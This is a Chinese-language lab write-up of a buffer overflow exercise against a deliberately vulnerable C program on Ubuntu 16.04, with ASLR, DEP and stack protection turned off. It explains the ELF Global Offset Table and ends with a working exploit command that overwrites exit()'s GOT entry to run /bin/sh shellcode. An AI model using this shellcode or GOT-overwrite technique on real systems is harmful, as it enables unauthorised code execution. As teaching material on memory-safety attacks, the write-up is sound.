一、实验介绍
1、实验环境:
Distributor ID: Ubuntu
Description: Ubuntu 16.04.1 LTS
Release: 16.04
Codename: xenial
2、实验工具:
gdb
3、实验程序
/* abo5.c *
int main(int argv,char **argc) {
char *pbuf=malloc(strlen(argc[2])+1);
char buf[256];
strcpy(buf,argc[1]);
for (;*pbuf++=*(argc[2]++););
exit(1);
}
功能:将第一个命令行参数和第二个命令行参数分别以调用strcpy函数和for循环的方式复制给buf和pbuf。
4、实验目的
构造输入参数,实现缓冲区溢出,执行shellcode。
5、实验准备
- 关闭ALSR
- 编译程序:关闭DEP与SSP
二、全局偏移表(GOT)
因为这次会涉及GOT的相关知识,所以在这提前介绍 。
Linux、Solaris 2.x和SVR4使用的默认二进制格式称为可执行和链接格式(Executable and Linking Format,ELF)。
任何ELF的二进制文件的进程空间中,都包含一个称为全局偏移表(Global Offset Table,GOT)的区。GOT存放绝对地址,从而使得地址可用,并且不会影响位置独立性和程序代码的可共享性。要使得动态链接的进程能够工作,这个表是必不可少的。该表的实际内容和形式取决于处理器的型号。
程序使用的每一个库函数在GOT中都拥有一个入口项,GOT中包含有实际函数的地址。这使得很容易在进程内存中对库函数进行重定位。在程序首次使用一个函数之前,该入口项包含有运行时链接器(RunTime Linker,RTL)的地址。如果该函数被程序调用,则程序的控制权被转移到RTL,然后函数的实际地址被确定且被插入到GOT中。接下来就可以通过GOT中的入口项直接调用函数,而与RTL就无关了。
在ELF可执行文件中GOT入口项的地址是固定的。这就导致对任何可执行进程映像而言GOT都位于相同的地址。如下图,可以利用下列命令查看显示目标文件的GOT入口项的位置。为每一个R_386_JUMP_SLOT重定位记录指定的偏移量,包含了指定函数(或RTL链接函数)的地址。
objdump -R XXX
攻击者可以可以利用任意内存写操作将一个函数的GOT入口项覆写为外壳代码的地址。这样,当程序调用对应于被改写的GOT入口项的函数时,程序的控制权就被转移到外壳代码。例如,每一个编写良好的C程序最后都会调用exit()函数,因此,只要覆写exit()的GOT入口项,就可以在exit()被调用时将程序的控制权转移到指定的地址。ELF过程链接表(Procedure Linkage Table,PLT)具有类似的问题。
Windows PE文件格式扮演着与ELF格式相似的角色。PE文件中包含一个数据结构数组,每一项对应一个导入的DLL。每一项都包含有导入的DLL的名称以及一个指向函数指针数组的指针(即,IAT)。每一个被导入的API在IAT中都自己的保留槽,由Windows载入器为其填充导入函数的地址。一旦一个模块被载入,IAT就保存了需要调用的导入函数的地址。IAT的入口项是写保护的,因为他们在运行是无须修改。
此段内容摘自《c和c++安全编码》3.5节全局偏移表。
三、分析汇编代码
最初的想法是0x804a014改成shellcode的地址,但是调试的时候发现在执行for循环时会报错,后来用vmmap指令一查才发现,地址0x8048000~0x8049000只有读和可执行权限,没有写权限,但是地址0x804a000~0x804b000有写权限,而GOT就在这个地址区间里。
四、编写exploit
首先通过strcpy(),实验栈溢出,将pbuf的地址修改为exit()的GOT入口项(即0x804a014),再通过for循环,将exit()的GOT入口项覆写为shellcodede的地址,实现跳转。
buf:shellcode+填充字符+exit()的入口项
pbuf:buf的地址
$(python -c "print ('\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80' + '\x90'*(256-25)+'\x14\xa0\x04\x08')") $(python -c "print('\x7c\xcd\xff\xff')")
完成!@_@